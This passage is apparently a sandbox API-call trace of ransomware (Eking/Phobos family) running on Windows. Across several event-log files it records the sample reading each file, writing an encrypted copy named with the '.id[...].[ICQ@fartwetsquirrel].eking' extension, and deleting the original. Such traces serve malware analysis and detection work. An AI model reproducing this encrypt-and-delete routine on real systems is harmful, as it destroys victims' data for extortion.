hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0224.913] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0224.913] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x378 [0224.913] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0224.931] WriteFile (in: hFile=0x378, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0224.934] WriteFile (in: hFile=0x378, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0224.934] CloseHandle (hObject=0x368) returned 1 [0224.934] CloseHandle (hObject=0x378) returned 1 [0225.305] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0225.345] SetEvent (hEvent=0x2b8) returned 1 [0225.346] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0225.347] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0225.347] CloseHandle (hObject=0x348) returned 1 [0225.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0225.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0225.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.348] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0225.348] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.348] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.348] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0225.349] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0225.354] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0225.357] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x152, lpOverlapped=0x0) returned 1 [0225.357] CloseHandle (hObject=0x348) returned 1 [0225.357] CloseHandle (hObject=0x368) returned 1 [0225.363] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0225.365] SetEvent (hEvent=0x2b8) returned 1 [0225.365] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0225.366] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0225.366] CloseHandle (hObject=0x368) returned 1 [0225.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0225.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0225.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.366] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0225.366] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.367] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.367] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0225.369] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0225.373] WriteFile (in: hFile=0x37c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0225.376] WriteFile (in: hFile=0x37c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0225.377] CloseHandle (hObject=0x368) returned 1 [0225.377] CloseHandle (hObject=0x37c) returned 1 [0225.385] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0225.387] SetEvent (hEvent=0x2b8) returned 1 [0225.387] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0225.387] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0225.387] CloseHandle (hObject=0x37c) returned 1 [0225.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0225.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0225.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.388] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0225.388] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.388] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.388] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0225.389] ReadFile (in: hFile=0x37c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0225.553] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0225.555] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0225.555] CloseHandle (hObject=0x37c) returned 1 [0225.555] CloseHandle (hObject=0x368) returned 1 [0225.558] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0225.560] SetEvent (hEvent=0x2b8) returned 1 [0225.561] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0225.562] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0225.562] CloseHandle (hObject=0x348) returned 1 [0225.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0225.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0225.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.562] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0225.562] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.562] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.562] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0225.563] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0225.567] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0225.570] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0225.570] CloseHandle (hObject=0x348) returned 1 [0225.570] CloseHandle (hObject=0x368) returned 1 [0225.575] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0225.577] SetEvent (hEvent=0x2b8) returned 1 [0225.578] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0225.579] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0225.580] CloseHandle (hObject=0x368) returned 1 [0225.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0225.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0225.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.580] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0225.580] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.580] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.581] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0225.581] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0225.586] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0225.589] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0225.589] CloseHandle (hObject=0x368) returned 1 [0225.589] CloseHandle (hObject=0x348) returned 1 [0225.595] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0225.802] SetEvent (hEvent=0x2b8) returned 1 [0225.803] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0225.804] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0225.804] CloseHandle (hObject=0x370) returned 1 [0225.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0225.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0225.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.805] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0225.805] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.805] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.805] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0225.807] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0225.811] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0225.814] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0225.814] CloseHandle (hObject=0x370) returned 1 [0225.814] CloseHandle (hObject=0x358) returned 1 [0225.817] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0225.819] SetEvent (hEvent=0x2b8) returned 1 [0225.819] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0225.819] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0225.819] CloseHandle (hObject=0x358) returned 1 [0225.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0225.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0225.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.820] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0225.820] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.820] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.820] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x370 [0225.820] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0225.825] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0225.828] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0225.828] CloseHandle (hObject=0x358) returned 1 [0225.828] CloseHandle (hObject=0x370) returned 1 [0225.832] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0225.834] SetEvent (hEvent=0x2b8) returned 1 [0225.835] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 